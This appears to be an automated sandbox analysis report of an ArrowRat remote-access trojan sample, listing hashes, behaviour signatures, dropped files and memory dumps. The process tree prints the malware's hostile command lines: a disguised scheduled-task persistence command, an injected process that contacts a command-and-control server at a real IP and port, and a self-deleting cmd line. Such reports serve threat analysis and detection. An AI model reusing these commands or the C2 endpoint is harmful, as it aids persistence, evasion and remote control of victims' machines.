Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    12-11-2022 03:09

General

  • Target

    e9c817d02acaf2fbb59a0a44be05dbb284ee622f50b2e2a598daac8bfb564672.exe

  • Size

    1.9MB

  • MD5

    18585735c8866b21e2723a6f020bafd0

  • SHA1

    afb5b2c9d5ca57501835b0c56fd97b0641f01d88

  • SHA256

    e9c817d02acaf2fbb59a0a44be05dbb284ee622f50b2e2a598daac8bfb564672

  • SHA512

    88516af4bbbd9562a9ae9840124c6f9f1402f9a15a0ace5e2413023bbd80c37aa441cc39b8b48f8ca58f4192273e16cd590cd2e9e9a4298f6ed5b0497d54e6b8

  • SSDEEP

    49152:t82Cp8xP5AE/L4C0m9eKQr10XxpQQTf+4G7zsdtW:9E7eQqpIsG

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

213.239.219.58:1337

Mutex

nPxRArUjc

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

  • Executes dropped EXE 1 IoCs
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies registry class 29 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of FindShellTrayWindow 33 IoCs
  • Suspicious use of SendNotifyMessage 20 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e9c817d02acaf2fbb59a0a44be05dbb284ee622f50b2e2a598daac8bfb564672.exe
    "C:\Users\Admin\AppData\Local\Temp\e9c817d02acaf2fbb59a0a44be05dbb284ee622f50b2e2a598daac8bfb564672.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1776
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /tn COMSurrogate /f /sc onlogon /rl highest /tr "C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe"
      2⤵
      • Creates scheduled task(s)
      PID:4072
    • C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe
      "C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4288
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4008
        • C:\Windows\explorer.exe
          "C:\Windows\explorer.exe"
          4⤵
          • Modifies Installed Components in the registry
          • Enumerates connected drives
          • Drops file in Windows directory
          • Checks SCSI registry key(s)
          • Modifies registry class
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:500
          • C:\Windows\system32\ctfmon.exe
            ctfmon.exe
            5⤵
              PID:1228
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 213.239.219.58 1337 nPxRArUjc
            4⤵
              PID:1396
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\e9c817d02acaf2fbb59a0a44be05dbb284ee622f50b2e2a598daac8bfb564672.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3592
          • C:\Windows\SysWOW64\chcp.com
            chcp 65001
            3⤵
              PID:3508
            • C:\Windows\SysWOW64\PING.EXE
              ping 127.0.0.1
              3⤵
              • Runs ping.exe
              PID:3532
        • C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
          "C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
          1⤵
          • Drops file in Windows directory
          • Enumerates system info in registry
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:3816

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe

          Filesize

          797.9MB

          MD5

          0ce89aca529ec384e9a1080a4f85c8df

          SHA1

          c2838d9bb9244b6f9d39cfbb704d8704740c8361

          SHA256

          2777aeaff52514c0fe6660fdfc5f0ef193bc9844928d1af9ef7f3d117bdd7bc8

          SHA512

          28b3fb3c9da20030892addb712a876b69b9e730400c321d6d68d35d0f4c099179415a821fd4d1a27aa2b37bb7b391f486dd77c4f5300ab21220b0b0bdbe09d52

        • C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe

          Filesize

          797.9MB

          MD5

          0ce89aca529ec384e9a1080a4f85c8df

          SHA1

          c2838d9bb9244b6f9d39cfbb704d8704740c8361

          SHA256

          2777aeaff52514c0fe6660fdfc5f0ef193bc9844928d1af9ef7f3d117bdd7bc8

          SHA512

          28b3fb3c9da20030892addb712a876b69b9e730400c321d6d68d35d0f4c099179415a821fd4d1a27aa2b37bb7b391f486dd77c4f5300ab21220b0b0bdbe09d52

        • memory/1396-431-0x0000000009D00000-0x0000000009D50000-memory.dmp

          Filesize

          320KB

        • memory/1396-427-0x0000000009B40000-0x0000000009BA6000-memory.dmp

          Filesize

          408KB

        • memory/1396-407-0x0000000000400000-0x0000000000418000-memory.dmp

          Filesize

          96KB

        • memory/1776-162-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-129-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-126-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-127-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-128-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-168-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-131-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-130-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-133-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-132-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-134-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-135-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-136-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-138-0x0000000002F70000-0x000000000386A000-memory.dmp

          Filesize

          9.0MB

        • memory/1776-140-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-141-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-142-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-143-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-144-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-145-0x0000000003870000-0x0000000003A46000-memory.dmp

          Filesize

          1.8MB

        • memory/1776-146-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-147-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-148-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-149-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-150-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-152-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-151-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-153-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-154-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-155-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-167-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-157-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-158-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-159-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-160-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-161-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-116-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-163-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-164-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-165-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-117-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-156-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-125-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-169-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-170-0x0000000002F70000-0x000000000386A000-memory.dmp

          Filesize

          9.0MB

        • memory/1776-171-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-172-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-173-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-174-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-175-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-176-0x0000000003870000-0x0000000003A46000-memory.dmp

          Filesize

          1.8MB

        • memory/1776-177-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-178-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-118-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-119-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-120-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-166-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-121-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-122-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-187-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-123-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/1776-124-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/4008-365-0x0000000005890000-0x0000000005922000-memory.dmp

          Filesize

          584KB

        • memory/4008-346-0x0000000000400000-0x000000000042C000-memory.dmp

          Filesize

          176KB

        • memory/4008-351-0x00000000055F0000-0x000000000568C000-memory.dmp

          Filesize

          624KB

        • memory/4008-387-0x00000000055E0000-0x00000000055EA000-memory.dmp

          Filesize

          40KB

        • memory/4008-349-0x0000000005A50000-0x0000000005F4E000-memory.dmp

          Filesize

          5.0MB

        • memory/4072-181-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/4072-183-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/4072-182-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/4072-180-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/4288-186-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/4288-311-0x000000000B2D0000-0x000000000B4BF000-memory.dmp

          Filesize

          1.9MB

        • memory/4288-297-0x0000000001050000-0x0000000001223000-memory.dmp

          Filesize

          1.8MB

        • memory/4288-263-0x0000000001050000-0x0000000001223000-memory.dmp

          Filesize

          1.8MB

        • memory/4288-188-0x0000000077C40000-0x0000000077DCE000-memory.dmp

          Filesize

          1.6MB

        • memory/4288-231-0x0000000002920000-0x000000000321E000-memory.dmp

          Filesize

          9.0MB

        • memory/4288-279-0x0000000002920000-0x000000000321E000-memory.dmp

          Filesize

          9.0MB